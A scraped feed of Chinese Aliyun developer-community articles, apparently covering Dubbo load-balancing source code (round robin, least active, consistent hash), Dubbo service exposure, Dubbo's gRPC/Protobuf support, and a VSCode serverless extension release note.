        轮询,按公约后的权重设置轮循比率
        存在慢的提供者累积请求的问题,比如:第二台机器很慢,但没挂,当请求调到第二台时就卡在那,久而久之,所有请求都卡在调到第二台上

        
        package org.apache.dubbo.rpc.cluster.loadbalance;
        
        import org.apache.dubbo.common.URL;
        import org.apache.dubbo.rpc.Invocation;
        import org.apache.dubbo.rpc.Invoker;
        
        import java.util.Collection;
        import java.util.List;
        import java.util.Map;
        import java.util.concurrent.ConcurrentHashMap;
        import java.util.concurrent.ConcurrentMap;
        import java.util.concurrent.atomic.AtomicBoolean;
        import java.util.concurrent.atomic.AtomicLong;
        
        /**
         * Round robin load balance.
         */
        public class RoundRobinLoadBalance extends AbstractLoadBalance {
            public static final String NAME = "roundrobin";
            
            private static final int RECYCLE_PERIOD = 60000;
            
            protected static class WeightedRoundRobin {
                private int weight;
                private AtomicLong current = new AtomicLong(0);
                private long lastUpdate;
                public int getWeight() {
                    return weight;
                }
                public void setWeight(int weight) {
                    this.weight = weight;
                    current.set(0);
                }
                public long increaseCurrent() {
                    return current.addAndGet(weight);
                }
                public void sel(int total) {
                    current.addAndGet(-1 * total);
                }
                public long getLastUpdate() {
                    return lastUpdate;
                }
                public void setLastUpdate(long lastUpdate) {
                    this.lastUpdate = lastUpdate;
                }
            }
        
            private ConcurrentMap<String, ConcurrentMap<String, WeightedRoundRobin>> methodWeightMap = new ConcurrentHashMap<String, ConcurrentMap<String, WeightedRoundRobin>>();
            private AtomicBoolean updateLock = new AtomicBoolean();
            
            /**
             * 获取为指定invocation缓存的invocation地址列表
             * for unit test only
             */
            protected <T> Collection<String> getInvokerAddrList(List<Invoker<T>> invokers, Invocation invocation) {
                String key = invokers.get(0).getUrl().getServiceKey() + "." + invocation.getMethodName();
                Map<String, WeightedRoundRobin> map = methodWeightMap.get(key);
                if (map != null) {
                    return map.keySet();
                }
                return null;
            }
            
            @Override
            protected <T> Invoker<T> doSelect(List<Invoker<T>> invokers, URL url, Invocation invocation) {
                String key = invokers.get(0).getUrl().getServiceKey() + "." + invocation.getMethodName();
                ConcurrentMap<String, WeightedRoundRobin> map = methodWeightMap.get(key);
                if (map == null) {
                    methodWeightMap.putIfAbsent(key, new ConcurrentHashMap<String, WeightedRoundRobin>());
                    map = methodWeightMap.get(key);
                }
                int totalWeight = 0;
                long maxCurrent = Long.MIN_VALUE;
                long now = System.currentTimeMillis();
                Invoker<T> selectedInvoker = null;
                WeightedRoundRobin selectedWRR = null;
                for (Invoker<T> invoker : invokers) {
                    String identifyString = invoker.getUrl().toIdentityString();
                    WeightedRoundRobin weightedRoundRobin = map.get(identifyString);
                    int weight = getWeight(invoker, invocation);
        
                    if (weightedRoundRobin == null) {
                        weightedRoundRobin = new WeightedRoundRobin();
                        weightedRoundRobin.setWeight(weight);
                        map.putIfAbsent(identifyString, weightedRoundRobin);
                    }
                    if (weight != weightedRoundRobin.getWeight()) {
                        //weight changed
                        weightedRoundRobin.setWeight(weight);
                    }
                    long cur = weightedRoundRobin.increaseCurrent();
                    weightedRoundRobin.setLastUpdate(now);
                    if (cur > maxCurrent) {
                        maxCurrent = cur;
                        selectedInvoker = invoker;
                        selectedWRR = weightedRoundRobin;
                    }
                    totalWeight += weight;
                }
                if (!updateLock.get() && invokers.size() != map.size()) {
                    if (updateLock.compareAndSet(false, true)) {
                        try {
                            // copy -> modify -> update reference
                            ConcurrentMap<String, WeightedRoundRobin> newMap = new ConcurrentHashMap<>(map);
                            newMap.entrySet().removeIf(item -> now - item.getValue().getLastUpdate() > RECYCLE_PERIOD);
                            methodWeightMap.put(key, newMap);
                        } finally {
                            updateLock.set(false);
                        }
                    }
                }
                if (selectedInvoker != null) {
                    selectedWRR.sel(totalWeight);
                    return selectedInvoker;
                }
                // should not happen here
                return invokers.get(0);
            }
        
        }
        

        Nginx的负载均衡默认就是轮询

        6 LeastActiveLoadBalance(最少活跃数)

        • 最少活跃调用数,相同活跃数的随机,活跃数指调用前后计数差
        • 使慢的提供者收到更少请求,因为越慢的提供者的调用前后计数差会越大。

        举个例子.每个服务有一个活跃计数器
        那么我们假如有A,B两个提供者.计数初始均为0
        当A提供者开始处理请求,该计数+1,此时A还没处理完,当处理完后则计数-1
        而B请求接收到请求处理得很快.B处理完后A还没处理完,所以此时A,B的计数为1,0
        那么当有新的请求来的时候,就会选择B提供者(B的活跃计数比A小)
        这就是文档说的,使慢的提供者收到更少请求

        package org.apache.dubbo.rpc.cluster.loadbalance;
        
        import org.apache.dubbo.common.URL;
        import org.apache.dubbo.rpc.Invocation;
        import org.apache.dubbo.rpc.Invoker;
        import org.apache.dubbo.rpc.RpcStatus;
        
        import java.util.List;
        import java.util.concurrent.ThreadLocalRandom;
        
        /**
         * 过滤活动调用次数最少的调用者数量,并计算这些调用者的权重和数量。
         * 如果只有一个调用程序,则直接使用该调用程序;
         * 如果有多个调用者并且权重不相同,则根据总权重随机;
         * 如果有多个调用者且权重相同,则将其随机调用。
         */
        public class LeastActiveLoadBalance extends AbstractLoadBalance {
        
            public static final String NAME = "leastactive";
        
            @Override
            protected <T> Invoker<T> doSelect(List<Invoker<T>> invokers, URL url, Invocation invocation) {
                // invoker的总个数
                int length = invokers.size();
                // invoker最小的活跃数
                int leastActive = -1;
                // 相同最小活跃数(leastActive)的invoker个数
                int leastCount = 0;
                // 相同最小活跃数(leastActive)的下标
                int[] leastIndexes = new int[length];
                // the weight of every invokers
                int[] weights = new int[length];
                // 所有最不活跃invoker的预热权重之和
                int totalWeight = 0;
                // 第一个最不活跃的invoker的权重, 用于于计算是否相同
                int firstWeight = 0;
                // 每个最不活跃的调用者都具有相同的权重值?
                boolean sameWeight = true;
        
        
                // Filter out all the least active invokers
                for (int i = 0; i < length; i++) {
                    Invoker<T> invoker = invokers.get(i);
                    // Get the active number of the invoker
                    int active = RpcStatus.getStatus(invoker.getUrl(), invocation.getMethodName()).getActive();
                    // Get the weight of the invoker's configuration. The default value is 100.
                    int afterWarmup = getWeight(invoker, invocation);
                    // save for later use
                    weights[i] = afterWarmup;
                    // If it is the first invoker or the active number of the invoker is less than the current least active number
                    if (leastActive == -1 || active < leastActive) {
                        // Reset the active number of the current invoker to the least active number
                        leastActive = active;
                        // Reset the number of least active invokers
                        leastCount = 1;
                        // Put the first least active invoker first in leastIndexes
                        leastIndexes[0] = i;
                        // Reset totalWeight
                        totalWeight = afterWarmup;
                        // Record the weight the first least active invoker
                        firstWeight = afterWarmup;
                        // Each invoke has the same weight (only one invoker here)
                        sameWeight = true;
                        // If current invoker's active value equals with leaseActive, then accumulating.
                    } else if (active == leastActive) {
                        // 记录leastIndexes order最小活跃数下标
                        leastIndexes[leastCount++] = i;
                        // 累计总权重
                        totalWeight += afterWarmup;
                        // If every invoker has the same weight?
                        if (sameWeight && i > 0
                                && afterWarmup != firstWeight) {
                            sameWeight = false;
                        }
                    }
                }
                // Choose an invoker from all the least active invokers
                if (leastCount == 1) {
                    // 如果只有一个最小则直接返回
                    return invokers.get(leastIndexes[0]);
                }
                if (!sameWeight && totalWeight > 0) {
                    // 如果权重不相同且权重大于0则按总权重数随机
                    int offsetWeight = ThreadLocalRandom.current().nextInt(totalWeight);
                    // 并确定随机值落在哪个片断上
                    for (int i = 0; i < leastCount; i++) {
                        int leastIndex = leastIndexes[i];
                        offsetWeight -= weights[leastIndex];
                        if (offsetWeight < 0) {
                            return invokers.get(leastIndex);
                        }
                    }
                }
                // 如果权重相同或权重为0则均等随机
                return invokers.get(leastIndexes[ThreadLocalRandom.current().nextInt(leastCount)]);
            }
        }
        

        分析

        这部分代码概括起来就两部分

        • 活跃数和权重的统计
        • 选择invoker.也就是他把最小活跃数的invoker统计到leastIndexs数组中,如果权重一致(这个一致的规则参考上面的随机算法)或者总权重为0,则均等随机调用,如果不同,则从leastIndexs数组中按照权重比例调用(还是和随机算法中的那个依次相减的思路一样).还不明白没关系,看下面的流程图和数学分析
        • 流程图

        理论

        假设A,B,C,D节点的最小活跃数分别是1,1,2,3,权重为1,2,3,4.则leastIndexs(该数组是最小活跃数组,因为A,B的活跃数是1,均为最小)数组内容为[A,B].A,B的权重是1和2,所以调用A的概率为 1/(1+2) = 1/3,B的概率为 2/(1+2) = 2/3

        活跃数的变化是在org.apache.dubbo.rpc.filter.ActiveLimitFilter
        如果没有配置dubbo:referenceactives属性,默认是调用前活跃数+1,调用结束-1
        鉴于很多人可能没用过这个属性,所以我把文档截图贴出来


        另外如果使用该种负载均衡算法,则dubbo:service中还需要配置filter="activelimit"

        7 ConsistentHashLoadBalance(一致性哈希)

        • 一致性 Hash,相同参数的请求总是发到同一提供者
        • 当某一台提供者挂时,原本发往该提供者的请求,基于虚拟节点,平摊到其它提供者,不会引起剧烈变动。
        • 推荐阅读
          http://en.wikipedia.org/wiki/Consistent_hashing

        缺省只对第一个参数 Hash,如果要修改,请配置

        <dubbo:parameter key="hash.arguments" value="0,1" />

        缺省用 160 份虚拟节点,如果要修改,请配置

        <dubbo:parameter key="hash.nodes" value="320" />
        package org.apache.dubbo.rpc.cluster.loadbalance;
        
        import org.apache.dubbo.common.URL;
        import org.apache.dubbo.rpc.Invocation;
        import org.apache.dubbo.rpc.Invoker;
        import org.apache.dubbo.rpc.support.RpcUtils;
        
        import java.nio.charset.StandardCharsets;
        import java.security.MessageDigest;
        import java.security.NoSuchAlgorithmException;
        import java.util.List;
        import java.util.Map;
        import java.util.TreeMap;
        import java.util.concurrent.ConcurrentHashMap;
        import java.util.concurrent.ConcurrentMap;
        
        import static org.apache.dubbo.common.constants.CommonConstants.COMMA_SPLIT_PATTERN;
        
        
        public class ConsistentHashLoadBalance extends AbstractLoadBalance {
            public static final String NAME = "consistenthash";
        
            /**
             * Hash nodes name
             */
            public static final String HASH_NODES = "hash.nodes";
        
            /**
             * Hash arguments name
             */
            public static final String HASH_ARGUMENTS = "hash.arguments";
        
            private final ConcurrentMap<String, ConsistentHashSelector<?>> selectors = new ConcurrentHashMap<String, ConsistentHashSelector<?>>();
        
            @SuppressWarnings("unchecked")
            @Override
            protected <T> Invoker<T> doSelect(List<Invoker<T>> invokers, URL url, Invocation invocation) {
                String methodName = RpcUtils.getMethodName(invocation);
                String key = invokers.get(0).getUrl().getServiceKey() + "." + methodName;
                int identityHashCode = System.identityHashCode(invokers);
                ConsistentHashSelector<T> selector = (ConsistentHashSelector<T>) selectors.get(key);
                if (selector == null || selector.identityHashCode != identityHashCode) {
                    selectors.put(key, new ConsistentHashSelector<T>(invokers, methodName, identityHashCode));
                    selector = (ConsistentHashSelector<T>) selectors.get(key);
                }
                return selector.select(invocation);
            }
        
            private static final class ConsistentHashSelector<T> {
        
                private final TreeMap<Long, Invoker<T>> virtualInvokers;
        
                private final int replicaNumber;
        
                private final int identityHashCode;
        
                private final int[] argumentIndex;
        
                ConsistentHashSelector(List<Invoker<T>> invokers, String methodName, int identityHashCode) {
                    this.virtualInvokers = new TreeMap<Long, Invoker<T>>();
                    this.identityHashCode = identityHashCode;
                    URL url = invokers.get(0).getUrl();
                    this.replicaNumber = url.getMethodParameter(methodName, HASH_NODES, 160);
                    String[] index = COMMA_SPLIT_PATTERN.split(url.getMethodParameter(methodName, HASH_ARGUMENTS, "0"));
                    argumentIndex = new int[index.length];
                    for (int i = 0; i < index.length; i++) {
                        argumentIndex[i] = Integer.parseInt(index[i]);
                    }
                    for (Invoker<T> invoker : invokers) {
                        String address = invoker.getUrl().getAddress();
                        for (int i = 0; i < replicaNumber / 4; i++) {
                            byte[] digest = md5(address + i);
                            for (int h = 0; h < 4; h++) {
                                long m = hash(digest, h);
                                virtualInvokers.put(m, invoker);
                            }
                        }
                    }
                }
        
                public Invoker<T> select(Invocation invocation) {
                    String key = toKey(invocation.getArguments());
                    byte[] digest = md5(key);
                    return selectForKey(hash(digest, 0));
                }
        
                private String toKey(Object[] args) {
                    StringBuilder buf = new StringBuilder();
                    for (int i : argumentIndex) {
                        if (i >= 0 && i < args.length) {
                            buf.append(args[i]);
                        }
                    }
                    return buf.toString();
                }
        
                private Invoker<T> selectForKey(long hash) {
                    Map.Entry<Long, Invoker<T>> entry = virtualInvokers.ceilingEntry(hash);
                    if (entry == null) {
                        entry = virtualInvokers.firstEntry();
                    }
                    return entry.getValue();
                }
        
                private long hash(byte[] digest, int number) {
                    return (((long) (digest[3 + number * 4] & 0xFF) << 24)
                            | ((long) (digest[2 + number * 4] & 0xFF) << 16)
                            | ((long) (digest[1 + number * 4] & 0xFF) << 8)
                            | (digest[number * 4] & 0xFF))
                            & 0xFFFFFFFFL;
                }
        
                private byte[] md5(String value) {
                    MessageDigest md5;
                    try {
                        md5 = MessageDigest.getInstance("MD5");
                    } catch (NoSuchAlgorithmException e) {
                        throw new IllegalStateException(e.getMessage(), e);
                    }
                    md5.reset();
                    byte[] bytes = value.getBytes(StandardCharsets.UTF_8);
                    md5.update(bytes);
                    return md5.digest();
                }
        
            }
        
        }
        

        该算法的代码实现拿出来讲的话篇幅较大,主要讲三个关键词,原理,down机影响,虚拟节点

        原理

        简单讲就是,假设我们有个时钟,各服务器节点映射放在钟表的时刻上,把key也映射到钟表的某个时刻上,然后key顺时针走,碰到的第一个节点则为我们需要找的服务器节点

        还是假如我们有a,b,c,d四个节点(感觉整篇文章都在做这个假如....),把他们通过某种规则转成整数,分别为0,3,6,9.所以按照时钟分布如下图


        假设这个key通过某种规则转化成1,那么他顺时针碰到的第一个节点就是b,也就是b是我们要找的节点

        这个规则你可以自己设计,但是要注意的是,不同的节点名,转换为相同的整数的概率就是衡量这个规则的好坏,如果你能做到不同的节点名唯一对应一个整数,那就是棒棒哒.当然java里面的CRC32这个类你可以了解一下.

        说到这里可能又会有另个疑问,时钟点数有限,万一装不下怎么办

        其实这个时钟只是方便大家理解做的比喻而已,在实际中,我们可以在圆环上分布[0,2^32-1]的数字,这量级全世界的服务器都可以装得下.

        down机影响

        通过上图我们可以看出,当b节点挂了之后,根据顺时针的规则,那么目标节点就是c,也就是说,只影响了一个节点,其他节点不受影响.

        如果是轮询的取模算法,假设从N台服务器变成了N-1台,那么命中率就变成1/(N-1),因此服务器越多,影响也就越大.

        虚拟节点

        为什么要有虚拟节点的概念呢?我们还是回到第一个假设,我们还是有a,b,c,d四个节点,他们通过某个规则转化成0,3,6,9这种自然是均匀的.但是万一是0,1,2,3这样,那就是非常不均匀了.事实上, 一般的Hash函数对于节点在圆环上的映射,并不均匀.所以我们需要引入虚拟节点,那么什么是虚拟节点呢?

        假如有N个真实节点,把每个真实节点映射成M个虚拟节点,再把 M*N 个虚拟节点, 散列在圆环上. 各真实节点对应的虚拟节点相互交错分布这样,某真实节点down后,则把其影响平均分担到其他所有节点上.

        也就是a,b,c,d的虚拟节点a0,a1,a2,b0,b1,b2,c0,c1,c2,d0,d1,d2散落在圆环上,假设C号节点down,则c0,c1,c2的压力分别传给d0,a1,b1,如下图

        参考

        ]]>
        Aliyun Serverless VSCode Extension v1.17.0 发布-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Aliyun Serverless VSCode Extension 是阿里云 Serverless 产品 函数计算 Function Compute 的 VSCode 插件,该插件结合了函数计算 Fun 工具以及函数计算 SDK ,是一款 VSCode 图形化开发调试函数计算以及操作函数计算资源的工具。

        通过该插件,用户可以:

        • 快速地在本地初始化项目、创建服务函数
        • 运行调试本地函数、部署服务函数至云端
        • 拉取云端的服务函数列表、查看服务函数配置信息、调用云端函数
        • 获得模版文件的语法提示: 自动补全、Schema 校验、悬浮提示

        v1.17.0 版本

        北京时间 2019 年 11 月 21 日 Aliyun Serverless VSCode Extension 发布了 v1.17.0 版本,该版本

        • 优化 Function Flow 远端资源树。

          • 用户未开通时提供跳转到 Function Flow 控制台的菜单项。
          • 在未支持区域加载 Function Flow 远端资源树将提供跳转控制台的菜单项。
        • 支持选择远端服务与函数导入时的目录。

          • 在远端资源树中点击服务名或函数名右侧的导入按钮,在弹出的窗口中选择相应目录,即可将服务或函数导入到该目录下。
          • 取消 aliyun.fc.import.base.path 配置。

        fun_import

        • 支持 Java8 Runtime。

          • 在本地资源树中,点击 Java8 Runtime 函数名右侧的编辑按钮即可跳转到对应的入口文件。
          • 支持本地以及远端调用 Java8 Runtime 的函数。
          • 支持本地断点调试 Java8 Runtime 的 Event Trigger 函数。

        java_debug

        • 优化本地调试时的行为。

          • 适配 VSCode Python Extension。
          • 优化 VSCode Debug 模式启动的时机。
          • 提供 Java8 Runtime 函数调试时的 Debugger 插件检测。
        ]]>
        Dubbo源码解析实战 - 服务暴露原理-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 dubbo面试中比较喜欢问的两个点:服务发布和服务引用.

        人性的拷问

        • 服务发布过程中做了哪些事
        • dubbo都有哪些协议,他们之间有什么特点,缺省值是什么
        • 什么是本地暴露和远程暴露,他们的区别

        直入主题
        从启动日志说起

        这里不同颜色的框将关键的地方画了出来,一共有6种颜色, 从上到下

        1. 暴露本地服务
        2. 暴露远程服务
        3. 启动netty
        4. 连接zookeeper
        5. 到zookeeper注册
        6. 监听zookeeper

        全局总览

        先看官方文档说明

        服务提供者暴露一个服务的详细过程

        • 服务提供者暴露服务的主过程

        首先 ServiceConfig 类拿到对外提供服务的实际类 ref(如:HelloWorldImpl),然后通过 ProxyFactory 类的 getInvoker 方法使用 ref 生成一个 AbstractProxyInvoker 实例,到这一步就完成具体服务到 Invoker 的转化。
        接下来就是 Invoker 转换到 Exporter 的过程。

        看源码,很多人最常问的一句话就是,怎么入手,也就是切入点.那么我们还是以开头的日志为例,来找一个这个切入点
        仔细看输出日志,就会发现在暴露本地服务之前,有一句很重要的日志,就是

        The service ready on spring started. service: com.alibaba.dubbo.demo.DemoService, dubbo version: 2.0.0, current host: 127.0.0.1

        该打印在今年八月被移除,具体原因不明, 留待日后分析,先继续经典版本源码

        定位到了ServiceBean这个类

        • 继承体系图

        继续按照经典版本源码讲解,这里最新版源码由于删除了相关接口

        从这个图我们看到了许多和spring有关的东西,还发现了一个重要的接口,那就是ApplicationListener
        就是spring的事件机制(event).什么是事件机制呢?
        就比如监听spring容器初始化完成.那我们就定位到这行日志的位置,往下debug


        重点!!!

        这个dubbo.properties文件是怎么时候加载的,好像我根本没有设置,另外这个dubbo.properties文件的名字能不能改?

        • 同理,对于log4j.xml文件

        接下来继续往下走,下面这里就是我们的第二道面试题

        • 因为dubbo是支持多协议的,看文档原话
        • Dubbo支持多种协议,默认使用的是dubbo协议
          Dubbo协议

        到了第三个面试题,也是服务发布的重点,本地暴露和远程暴露

        为什么会有本地暴露和远程暴露呢?
        不从场景考虑讨论技术的没有意义是.在dubbo中我们一个服务可能既是Provider,又是Consumer,因此就存在他自己调用自己服务的情况,如果再通过网络去访问,那自然是舍近求远
        因此他是有本地暴露服务的这个设计

        • 本地暴露是暴露在JVM中,不需要网络通信
        • 远程暴露是将ip,端口等信息暴露给远程客户端,调用时需要网络通信



        从上图可知,这里用到了Adaptive,

        • 点进ProxyFactory查看源码

        @Adaptive注解打在类上和方法上,他们是有区别的
        在方法上,就会生成动态编译的Adaptive类,下面就介绍一下怎么看这个动态编译类的源码

        • 首先要将这个log4j的level调整为DEBUG

        为什么需要调整成DEBUG,
        比如下图

        打开DEBUG后,我们重新启动,就会看到日志有如下输出,这段就是相关代码,我们根据包名新建文件,如下

        我们在getInvoker方法上打上断点,重启一下.


        由上图知道,本地暴露的url是以injvm开头的,下面来看下远程暴露,其实这个也是回答本地暴露和远程暴露区别的一个回答点.面试回答要的并不是一个满分的答案,而是从一些细节中,看出一个人,是否真的研究过源码.

        还是回到开头那句话,dubbo命名是很规范的,从Wrapper这个命名,其实可以和Spring的Bean Wrapper,以及装饰者设计模式联系起来.同时可以看看文档中的编码约定

        参考

        ]]>
        Dubbo 在跨语言和协议穿透性方向的探索:支持 HTTP/2 gRPC-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Dubbo 在跨语言和协议穿透性方向上的探索:支持 HTTP/2 gRPC 和 Protobuf

        本文整理自刘军在 Dubbo 成都 meetup 上分享的《Dubbo 在多语言和协议穿透性方向上的探索》。

        本文总体上可分为基础产品简介、Dubbo 对 gRPC (HTTP/2) 和 Protobuf 的支持及示例演示三部分,在简介部分介绍了 Dubbo、HTTP/2、gRPC、Protobuf 的基本概念和特点;第二部分介绍了 Dubbo 为何要支持 gRPC (HTTP/2) 和 Protobuf,以及这种支持为 gRPC 和 Dubbo 开发带来的好处与不同;第三部分通过两个实例分别演示了 Dubbo gRPC 和 Dubbo Protobuf 的使用方式。

        基本介绍

        Dubbo 协议

        从协议层面展开,以下是当前 2.7 版本支持的 Dubbo 协议

        lALPDgQ9rQuH0IjNAdDNBPA_1264_464_png_620x10000q90g

        众所周知,Dubbo 协议是直接定义在 TCP 传输层协议之上,由于 TCP 高可靠全双工的特点,为 Dubbo 协议的定义提供了最大的灵活性,但同时也正是因为这样的灵活性,RPC 协议普遍都是定制化的私有协议,Dubbo 同样也面临这个问题。在这里我们着重讲一下 Dubbo 在协议通用性方面值得改进的地方,关于协议详细解析请参见官网博客

        • Dubbo 协议体 Body 中有一个可扩展的 attachments 部分,这给 RPC 方法之外额外传递附加属性提供了可能,是一个很好的设计。但是类似的 Header 部分,却缺少类似的可扩展 attachments,这点可参考 HTTP 定义的 Ascii Header 设计,将 Body Attachments 和 Header Attachments 做职责划分。
        • Body 协议体中的一些 RPC 请求定位符如 Service Name、Method Name、Version 等,可以提到 Header 中,和具体的序列化协议解耦,以更好的被网络基础设施识别或用于流量管控。
        • 扩展性不够好,欠缺协议升级方面的设计,如 Header 头中没有预留的状态标识位,或者像 HTTP 有专为协议升级或协商设计的特殊 packet。
        • 在 Java 版本的代码实现上,不够精简和通用。如在链路传输中,存在一些语言绑定的内容;消息体中存在冗余内容,如 Service Name 在 Body 和 Attachments 中都存在。

        HTTP/1

        相比于直接构建与 TPC 传输层的私有 RPC 协议,构建于 HTTP 之上的远程调用解决方案会有更好的通用性,如WebServices 或 REST 架构,使用 HTTP + JSON 可以说是一个事实标准的解决方案。

        之所有选择构建在 HTTP 之上,我认为有两个最大的优势:

        1. HTTP 的语义和可扩展性能很好的满足 RPC 调用需求。
        2. 通用性,HTTP 协议几乎被网络上的所有设备所支持,具有很好的协议穿透性。

        lALPDgQ9rQuH0IrNAZrNAvo_762_410_png_620x10000q90g

        具体来说,HTTP/1 的优势和限制是:

        • 典型的 Request – Response 模型,一个链路上一次只能有一个等待的 Request 请求
        • HTTP/1 支持 Keep-Alive 链接,避免了链接重复创建开销
        • Human Readable Headers,使用更通用、更易于人类阅读的头部传输格式
        • 无直接 Server Push 支持,需要使用 Polling Long-Polling 等变通模式

        HTTP/2

        HTTP/2 保留了 HTTP/1 的所有语义,在保持兼容的同时,在通信模型和传输效率上做了很大的改进。

        lALPDgQ9rQuH0IzNAufNA90_989_743_png_620x10000q90g

        • 支持单条链路上的 Multiplexing,相比于 Request - Response 独占链路,基于 Frame 实现更高效利用链路
        • Request - Stream 语义,原生支持 Server Push 和 Stream 数据传输
        • Flow Control,单条 Stream 粒度的和整个链路粒度的流量控制
        • 头部压缩 HPACK
        • Binary Frame
        • 原生 TLS 支持

        gRPC

        上面提到了在 HTTP 及 TCP 协议之上构建 RPC 协议各自的优缺点,相比于 Dubbo 构建于 TPC 传输层之上,Google 选择将 gRPC 直接定义在 HTTP/2 协议之上,关于 gRPC 的 基本介绍设计愿景 请参考以上两篇文章,我这里仅摘取 设计愿景 中几个能反映 gRPC 设计目的特性来做简单说明。

        • Coverage & Simplicity,协议设计和框架实现要足够通用和简单,能运行在任何设备之上,甚至一些资源首先的如 IoT、Mobile 等设备。
        • Interoperability & Reach,要构建在更通用的协议之上,协议本身要能被网络上几乎所有的基础设施所支持。
        • General Purpose & Performant,要在场景和性能间做好平衡,首先协议本身要是适用于各种场景的,同时也要尽量有高的性能。
        • Payload Agnostic,协议上传输的负载要保持语言和平台中立。
        • Streaming,要支持 Request - Response、Request - Stream、Bi-Steam 等通信模型。
        • Flow Control,协议自身具备流量感知和限制的能力。
        • Metadata Exchange,在 RPC 服务定义之外,提供额外附加数据传输的能力。

        总的来说,在这样的设计理念指导下,gRPC 最终被设计为一个跨语言、跨平台的、通用的、高性能的、基于 HTTP/2 的 RPC 协议和框架。

        Protobuf

        Protocol buffers (Protobuf) 是 Google 推出的一个跨平台、语言中立的结构化数据描述和序列化的产品,它定义了一套结构化数据定义的协议,同时也提供了相应的 Compiler 工具,用来将语言中立的描述转化为相应语言的具体描述。

        它的一些特性包括:

        • 跨语言 跨平台,语言中立的数据描述格式,默认提供了生成多种语言的 Compiler 工具。
        • 安全性,由于反序列化的范围和输出内容格式都是 Compiler 在编译时预生成的,因此绕过了类似 Java Deserialization Vulnarability 的问题。
        • 二进制 高性能
        • 强类型
        • 字段变更向后兼容
            message Person {
              required string name = 1;
              required int32 id = 2;
              optional string email = 3;
        
              enum PhoneType {
                MOBILE = 0;
                HOME = 1;
                WORK = 2;
              }
        
              message PhoneNumber {
                required string number = 1;
                optional PhoneType type = 2 [default = HOME];
              }
        
              repeated PhoneNumber phone = 4;
            }

        除了结构化数据描述之外,Protobuf 还支持定义 RPC 服务,它允许我们定义一个 .proto 的服务描述文件,进而利用 Protobuf Compiler 工具生成特定语言和 RPC 框架的接口和 stub。后续将要具体讲到的 gRPC + Protobuf、Dubbo-gRPC + Protobuf 以及 Dubbo + Protobuf 都是通过定制 Compiler 类实现的。

        service SearchService {
            rpc Search (SearchRequest) returns (SearchResponse);
        }

        Dubbo 所做的支持

        跨语言的服务开发涉及到多个方面,从服务定义、RPC 协议到序列化协议都要做到语言中立,同时还针对每种语言有对应的 SDK 实现。虽然得益于社区的贡献,现在 Dubbo 在多语言 SDK 实现上逐步有了起色,已经提供了包括 Java, Go, PHP, C#, Python, NodeJs, C 等版本的客户端或全量实现版本,但在以上提到的跨语言友好型方面,以上三点还是有很多可改进之处。

        • 协议,上面我们已经分析过 Dubbo 协议既有的缺点,如果能在 HTTP/2 之上构建应用层协议,则无疑能避免这些弊端,同时最大可能的提高协议的穿透性,避免网关等协议转换组件的存在,更有利于链路上的流量管控。考虑到 gRPC 是构建在 HTTP/2 之上,并且已经是云原生领域推荐的通信协议,Dubbo 在第一阶段选择了直接支持 gRPC 协议作为当前的 HTTP/2 解决方案。我们也知道 gRPC 框架自身的弊端在于易用性不足以及服务治理能力欠缺(这也是目前绝大多数厂商不会直接裸用 gRPC 框架的原因),通过将其集成进 Dubbo 框架,用户可以方便的使用 Dubbo 编程模型 + Dubbo 服务治理 + gRPC 协议通信的组合。
        • 服务定义,当前 Dubbo 的服务定义和具体的编程语言绑定,没有提供一种语言中立的服务描述格式,比如 Java 就是定义 Interface 接口,到了其他语言又得重新以另外的格式定义一遍。因此 Dubbo 通过支持 Protobuf 实现了语言中立的服务定义。
        • 序列化,Dubbo 当前支持的序列化包括 Json、Hessian2、Kryo、FST、Java 等,而这其中支持跨语言的只有 Json、Hessian2,通用的 Json 有固有的性能问题,而 Hessian2 无论在效率还是多语言 SDK 方面都有所欠缺。为此,Dubbo 通过支持 Protobuf 序列化来提供更高效、易用的跨语言序列化方案。

        示例

        示例 1,使用 Dubbo 开发 gRPC 服务

        gRPC 是 Google 开源的构建在 HTTP/2 之上的一个 PRC 通信协议。Dubbo 依赖其灵活的协议扩展机制,增加了对 gRPC (HTTP/2) 协议的支持。

        目前的支持限定在 Dubbo Java 语言版本,后续 Go 语言或其他语言版本将会以类似方式提供支持。下面,通过一个简单的示例来演示如何在 Dubbo 中使用 gRPC 协议通信。

        1. 定义服务 IDL

        首先,通过标准的 Protobuf 协议定义服务如下:

             syntax = "proto3";
            
            option java_multiple_files = true;
            option java_package = "io.grpc.examples.helloworld";
            option java_outer_classname = "HelloWorldProto";
            option objc_class_prefix = "HLW";
            
            package helloworld;
            
            // The greeting service definition.
            service Greeter {
              // Sends a greeting
              rpc SayHello (HelloRequest) returns (HelloReply) {}
            }
            
            // The request message containing the user's name.
            message HelloRequest {
              string name = 1;
            }
            
            // The response message containing the greetings
            message HelloReply {
              string message = 1;
            }

        在此,我们定义了一个只有一个方法 sayHello 的 Greeter 服务,同时定义了方法的入参和出参,

        2. Protobuf Compiler 生成 Stub

        1. 定义 Maven Protobuf Compiler 插件工具。这里我们扩展了 Protobuf 的 Compiler 工具,以用来生成 Dubbo 特有的 RPC stub,此当前以 Maven 插件的形式发布。
        <plugin>
          <groupId>org.xolstice.maven.plugins</groupId>
          <artifactId>protobuf-maven-plugin</artifactId>
          <version>0.5.1</version>
          <configuration>
            <protocArtifact>com.google.protobuf:protoc:3.7.1:exe:${os.detected.classifier}    
            </protocArtifact>
            <pluginId>dubbo-grpc-java</pluginId>
            <pluginArtifact>org.apache.dubbo:protoc-gen-dubbo-java:1.19.0-SNAPSHOT:exe:${os.detected.classifier}</pluginArtifact>
            <outputDirectory>build/generated/source/proto/main/java</outputDirectory>
            <clearOutputDirectory>false</clearOutputDirectory>
            <pluginParameter>grpc</pluginParameter>
          </configuration>
          <executions>
            <execution>
              <goals>
                <goal>compile</goal>
                <goal>compile-custom</goal>
              </goals>
            </execution>
          </executions>
        </plugin>

        其中,

        pluginArtifact 指定了 Dubbo 定制版本的 Java Protobuf Compiler 插件,通过这个插件来在编译过程中生成 Dubbo 定制版本的 gRPC stub。

        <pluginArtifact>org.apache.dubbo:protoc-gen-dubbo-java:1.19.0-SNAPSHOT:exe:${os.detected.classifier}</pluginArtifact>

        由于 protoc-gen-dubbo-java 支持 gRPC 和 Dubbo 两种协议,可生成的 stub 类型,默认值是 gRPC,关于 dubbo 协议的使用可参见 使用 Protobuf 开发 Dubbo 服务。

        <pluginParameter>grpc</pluginParameter>

        2. 生成 Java Bean 和 Dubbo-gRPC stub

        # 运行以下 maven 命令
        $ mvn clean compile

